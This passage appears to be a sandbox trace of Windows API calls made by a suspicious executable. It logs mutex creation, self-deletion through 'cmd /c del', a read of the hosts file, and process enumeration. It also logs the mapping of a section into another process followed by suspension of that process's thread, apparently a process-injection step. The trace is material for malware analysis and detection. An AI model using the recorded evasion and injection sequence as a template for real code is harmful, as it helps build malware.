RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="USERNAME", Value=0x6be97c | out: Value="FD1HVy") returned 0x0 [0382.762] NtOpenDirectoryObject (in: FileHandle=0x6bed40, DesiredAccess=0x2000f, ObjectAttributes=0x6bed0c*(Length=0x18, RootDirectory=0x0, ObjectName="\\BaseNamedObjects", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: FileHandle=0x6bed40*=0x1c8) returned 0x0 [0382.762] NtCreateMutant (in: MutantHandle=0x6bef6c, DesiredAccess=0x1f0001, ObjectAttributes=0x6becf4*(Length=0x18, RootDirectory=0x1c8, ObjectName="507R49362TX68WZz", Attributes=0x80, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), InitialOwner=0 | out: MutantHandle=0x6bef6c*=0x1ec) returned 0x0 [0382.762] NtClose (Handle=0x1c8) returned 0x0 [0382.781] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1000) returned 0x9e8ae8 [0382.781] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1000) returned 0x9e9af0 [0382.781] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1000) returned 0x9eaaf8 [0382.795] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="ProgramFiles", Value=0x6beb84 | out: Value="C:\\Program Files (x86)") returned 0x0 [0382.795] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="APPDATA", Value=0x6bebb0 | out: Value="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0382.803] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Desktop\\xeuovifzzc.exe", NtPathName=0x6beb5c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\FD1HVy\\AppData\\Roaming\\Desktop\\xeuovifzzc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0382.805] NtCreateFile (in: FileHandle=0x6beb7c, DesiredAccess=0x120089, ObjectAttributes=0x6beb44*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\FD1HVy\\AppData\\Roaming\\Desktop\\xeuovifzzc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x6beb64, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x6beb7c*=0x0, IoStatusBlock=0x6beb64*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0382.805] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9daa78) returned 1 [0382.806] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", NtPathName=0x6bef2c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0382.806] NtCreateFile (in: FileHandle=0x6bef4c, DesiredAccess=0x120089, ObjectAttributes=0x6bef14*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x6bef34, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x6bef4c*=0x1c8, IoStatusBlock=0x6bef34*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0382.806] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9d87f8) returned 1 [0382.809] NtQueryInformationFile (in: FileHandle=0x1c8, IoStatusBlock=0x6bef34, FileInformation=0x6bee8c, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x6bef34, FileInformation=0x6bee8c) returned 0x0 [0382.809] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1b400) returned 0x9ebb00 [0382.815] NtReadFile (in: FileHandle=0x1c8, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x6bef34, Buffer=0x9ebb00, BufferLength=0x1b000, ByteOffset=0x6beea4*=0, Key=0x0 | out: IoStatusBlock=0x6bef34, Buffer=0x9ebb00*) returned 0x0 [0382.817] NtClose (Handle=0x1c8) returned 0x0 [0382.817] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", NtPathName=0x6bef1c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0382.817] NtCreateFile (in: FileHandle=0x6bef3c, DesiredAccess=0x120089, ObjectAttributes=0x6bef04*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x6bef24, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x6bef3c*=0x1c8, IoStatusBlock=0x6bef24*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0382.817] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9d87f8) returned 1 [0382.817] NtQueryInformationFile (in: FileHandle=0x1c8, IoStatusBlock=0x6bef24, FileInformation=0x6bee7c, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x6bef24, FileInformation=0x6bee7c) returned 0x0 [0382.818] NtClose (Handle=0x1c8) returned 0x0 [0382.818] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\WINDOWS\\SYSTEM32\\ntdll.dll", NtPathName=0x6be41c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\WINDOWS\\SYSTEM32\\ntdll.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0382.818] NtCreateFile (in: FileHandle=0x6be43c, DesiredAccess=0x120089, ObjectAttributes=0x6be404*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\WINDOWS\\SYSTEM32\\ntdll.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x6be424, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x6be43c*=0x1c8, IoStatusBlock=0x6be424*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0382.819] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9e6030) returned 1 [0382.819] NtQueryInformationFile (in: FileHandle=0x1c8, IoStatusBlock=0x6be424, FileInformation=0x6be198, Length=0x208, FileInformationClass=0x9 | out: IoStatusBlock=0x6be424, FileInformation=0x6be198) returned 0x0 [0382.819] NtClose (Handle=0x1c8) returned 0x0 [0382.819] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x208) returned 0x9e65e0 [0382.819] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9e65e0) returned 1 [0382.821] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\cmd.exe", lpCommandLine="/c del \"C:\\Users\\FD1HVy\\Desktop\\xeuovifzzc.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x6beaec*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x6beb30, hNewToken=0x0 | out: lpProcessInformation=0x6beb30*(hProcess=0x1f0, hThread=0x1c8, dwProcessId=0x13f8, dwThreadId=0x12f0), hNewToken=0x0) returned 1 [0383.147] NtWaitForSingleObject (Object=0x1f0, Alertable=0, Time=0x0) returned 0x0 [0384.391] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="ProgramFiles", Value=0x6be808 | out: Value="C:\\Program Files (x86)") returned 0x0 [0385.877] SetErrorMode (uMode=0x8003) returned 0x1 [0385.894] NtCreateSection (in: SectionHandle=0x6beb94, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be910, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6beb94*=0x1f8) returned 0x0 [0385.898] NtMapViewOfSection (in: SectionHandle=0x1f8, ProcessHandle=0xffffffff, BaseAddress=0x6beb98*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be910*=0x2ca00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6beb98*=0xe70000, SectionOffset=0x0, ViewSize=0x6be910*=0x2d000) returned 0x0 [0385.903] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x6be908*=0x0, ZeroBits=0x0, RegionSize=0x6be90c*=0x2ca00, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0x6be908*=0xea0000, RegionSize=0x6be90c*=0x2d000) returned 0x0 [0385.908] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x2000) returned 0xa06f08 [0385.908] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x6be64c | out: TokenHandle=0x6be64c*=0x1f4) returned 0x0 [0385.911] NtQueryInformationToken (in: TokenHandle=0x1f4, TokenInformationClass=0x1, TokenInformation=0x6bde44, TokenInformationLength=0x400, ReturnLength=0x6be644 | out: TokenInformation=0x6bde44, ReturnLength=0x6be644) returned 0x0 [0385.912] ConvertSidToStringSidW () returned 0x1 [0385.912] NtClose (Handle=0x1f4) returned 0x0 [0385.912] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x6be8bc*=0x0, ZeroBits=0x0, RegionSize=0x6be8c0*=0x925a3, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x6be8bc*=0xed0000, RegionSize=0x6be8c0*=0x93000) returned 0x0 [0385.916] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x6be8a8*=0x0, ZeroBits=0x0, RegionSize=0x6be8ac*=0x925a3, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x6be8a8*=0xf70000, RegionSize=0x6be8ac*=0x93000) returned 0x0 [0385.927] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0xa06f08) returned 1 [0385.927] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1000) returned 0xa06f08 [0385.927] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="windir", Value=0x6be674 | out: Value="C:\\WINDOWS") returned 0x0 [0385.927] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\WINDOWS\\System32\\drivers\\etc\\hosts", NtPathName=0x6be63c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\WINDOWS\\System32\\drivers\\etc\\hosts", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0385.927] NtCreateFile (in: FileHandle=0x6be65c, DesiredAccess=0x120089, ObjectAttributes=0x6be624*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\WINDOWS\\System32\\drivers\\etc\\hosts", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x6be644, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x6be65c*=0x1f4, IoStatusBlock=0x6be644*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0385.928] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9d87f8) returned 1 [0385.928] NtQueryInformationFile (in: FileHandle=0x1f4, IoStatusBlock=0x6be644, FileInformation=0x6be59c, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x6be644, FileInformation=0x6be59c) returned 0x0 [0385.928] NtClose (Handle=0x1f4) returned 0x0 [0385.928] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\WINDOWS\\System32\\drivers\\etc\\hosts", NtPathName=0x6be62c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\WINDOWS\\System32\\drivers\\etc\\hosts", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0385.928] NtCreateFile (in: FileHandle=0x6be64c, DesiredAccess=0x120089, ObjectAttributes=0x6be614*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\WINDOWS\\System32\\drivers\\etc\\hosts", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x6be634, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x6be64c*=0x1f4, IoStatusBlock=0x6be634*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0385.928] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9d87f8) returned 1 [0385.928] NtQueryInformationFile (in: FileHandle=0x1f4, IoStatusBlock=0x6be634, FileInformation=0x6be58c, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x6be634, FileInformation=0x6be58c) returned 0x0 [0385.928] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x738) returned 0xa07f10 [0385.928] NtReadFile (in: FileHandle=0x1f4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x6be634, Buffer=0xa07f10, BufferLength=0x338, ByteOffset=0x6be5a4*=0, Key=0x0 | out: IoStatusBlock=0x6be634, Buffer=0xa07f10*) returned 0x0 [0385.929] NtClose (Handle=0x1f4) returned 0x0 [0385.929] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0xa07f10) returned 1 [0385.929] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x6be928*=0x0, ZeroBits=0x0, RegionSize=0x6be92c*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x6be928*=0x8a0000, RegionSize=0x6be92c*=0x10000) returned 0x0 [0385.929] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x8a0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x8a0000, ResultLength=0x0) returned 0xc0000004 [0385.932] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x6bef6c*=0x8a0000, RegionSize=0x6be94c, FreeType=0x8000) returned 0x0 [0385.933] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x6be914*=0x0, ZeroBits=0x0, RegionSize=0x6be918*=0x20000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x6be914*=0x1010000, RegionSize=0x6be918*=0x20000) returned 0x0 [0385.933] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1010000, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0x1010000, ResultLength=0x0) returned 0xc0000004 [0385.934] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x6bef6c*=0x1010000, RegionSize=0x6be94c, FreeType=0x8000) returned 0x0 [0385.935] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x6be914*=0x0, ZeroBits=0x0, RegionSize=0x6be918*=0x30000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x6be914*=0x1010000, RegionSize=0x6be918*=0x30000) returned 0x0 [0385.935] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1010000, Length=0x30000, ResultLength=0x0 | out: SystemInformation=0x1010000, ResultLength=0x0) returned 0x0 [0385.960] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="USERNAME", Value=0x6bdfd0 | out: Value="FD1HVy") returned 0x0 [0385.961] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="APPDATA", Value=0x6be33c | out: Value="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0385.961] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="APPDATA", Value=0x6be354 | out: Value="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0385.961] NtCreateSection (in: SectionHandle=0x6bf984, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be38c, SectionPageProtection=0x4, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6bf984*=0x1f4) returned 0x0 [0385.961] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0xffffffff, BaseAddress=0x6bf980*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be38c*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6bf980*=0x49b0000, SectionOffset=0x0, ViewSize=0x6be38c*=0x9c4000) returned 0x0 [0385.961] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x4000) returned 0xa07f10 [0385.962] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x6bdaf0 | out: TokenHandle=0x6bdaf0*=0x204) returned 0x0 [0385.962] NtQueryInformationToken (in: TokenHandle=0x204, TokenInformationClass=0x1, TokenInformation=0x6bd2e8, TokenInformationLength=0x400, ReturnLength=0x6bdae8 | out: TokenInformation=0x6bd2e8, ReturnLength=0x6bdae8) returned 0x0 [0385.962] ConvertSidToStringSidW () returned 0x1 [0385.962] NtClose (Handle=0x204) returned 0x0 [0385.971] RtlIntegerToChar (in: Value=0x8e4367a3, Base=0x10, Length=0x20, String=0x49b6485 | out: String="8E4367A3") returned 0x0 [0385.973] NtCreateKey (in: KeyHandle=0x6be564, DesiredAccess=0x20219, ObjectAttributes=0x6bdaf0*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x6be564*=0x204) returned 0x0 [0385.978] NtQueryValueKey (in: KeyHandle=0x204, ValueName="ProductName", KeyValueInformationClass=0x1, KeyValueInformation=0x6be13c, Length=0x100, ResultLength=0x6be5b8 | out: KeyValueInformation=0x6be13c*(TitleIndex=0x0, Type=0x1, DataOffset=0x30, DataLength=0x1e, NameLength=0x16, Name="ProductName", Data="Windows 10 Pro"), ResultLength=0x6be5b8) returned 0x0 [0385.978] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x6bdb20*=0x0, ZeroBits=0x0, RegionSize=0x6bdb24*=0x1f4400, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0x6bdb20*=0x1040000, RegionSize=0x6bdb24*=0x1f5000) returned 0x0 [0385.978] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x6bdb0c*=0x0, ZeroBits=0x0, RegionSize=0x6bdb10*=0x1f4400, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0x6bdb0c*=0x5380000, RegionSize=0x6bdb10*=0x1f5000) returned 0x0 [0385.978] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="TEMP", Value=0x6bdb10 | out: Value="C:\\Users\\FD1HVy\\AppData\\Local\\Temp") returned 0x0 [0385.982] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="ProgramFiles", Value=0x6bdad8 | out: Value="C:\\Program Files (x86)") returned 0x0 [0385.985] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x1000) returned 0xa0bf18 [0385.988] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0x560, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x208) returned 0x0 [0385.988] NtQueryInformationProcess (in: ProcessHandle=0x208, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0385.988] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x208, BaseAddress=0x6be924*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be920*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be924*=0x9940000, SectionOffset=0x0, ViewSize=0x6be920*=0x9c4000) returned 0x0 [0385.994] NtClose (Handle=0x208) returned 0x0 [0385.996] NtDelayExecution (Alertable=0, Interval=0x6be580*=-50000000) returned 0x0 [0391.025] NtOpenProcess (in: ProcessHandle=0x6be538, DesiredAccess=0x438, ObjectAttributes=0x6bdae8*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6bdb28*(UniqueProcess=0x560, UniqueThread=0x0) | out: ProcessHandle=0x6be538*=0x208) returned 0x0 [0391.029] NtQueryInformationProcess (in: ProcessHandle=0x208, ProcessInformationClass=0x0, ProcessInformation=0x6bdb38, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6bdb38, ReturnLength=0x0) returned 0x0 [0391.036] NtOpenThread (in: ThreadHandle=0x6bdae0, DesiredAccess=0x1a, ObjectAttributes=0x6bdae8, ClientId=0x6bdb18*(UniqueProcess=0x0, UniqueThread=0x5cc) | out: ThreadHandle=0x6bdae0*=0x20c) returned 0x0 [0391.040] NtSuspendThread (in: ThreadHandle=0x20c, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0391.047] NtGetContextThread (in: ThreadHandle=0x20c, Context=0x6be030 | out: Context=0x6be030*(ContextFlags=0x0, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x10000b, FloatSave.DataSelector=0x1fa0, FloatSave.RegisterArea=([0]=0x33, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x2b, [11]=0x0, [12]=0x46, [13]=0x2, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x40, [65]=0xbe, [66]=0xa6, [67]=0xff, [68]=0xff, [69]=0xff, [70]=0xff, [71]=0xff, [72]=0x21, [73]=0x5, [74]=0x1, [75]=0x84, [76]=0xff, [77]=0xff, [78]=0xff, [79]=0xff), FloatSave.Cr0NpxState=0x5ba0b60, SegGs=0x0, SegFs=0xc96200, SegEs=0x0, SegDs=0x75f2c8, Edi=0x0, Esi=0x75f340, Ebx=0x0, Edx=0xc952c0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x75e218, SegCs=0x0, EFlags=0x75ef30, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x46, [5]=0x2, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0xff, [13]=0xff, [14]=0xff, [15]=0xff, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0xf0, [29]=0x96, [30]=0xd6, [31]=0xe7, [32]=0xfc, [33]=0x7f, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x4, [45]=0x12, [46]=0xff, [47]=0xe6, [48]=0xfc, [49]=0x7f, [50]=0x0, [51]=0x0, [52]=0x7f, [53]=0x2, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0xa0, [77]=0x1f, [78]=0x0, [79]=0x0, [80]=0xff, [81]=0xff, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, 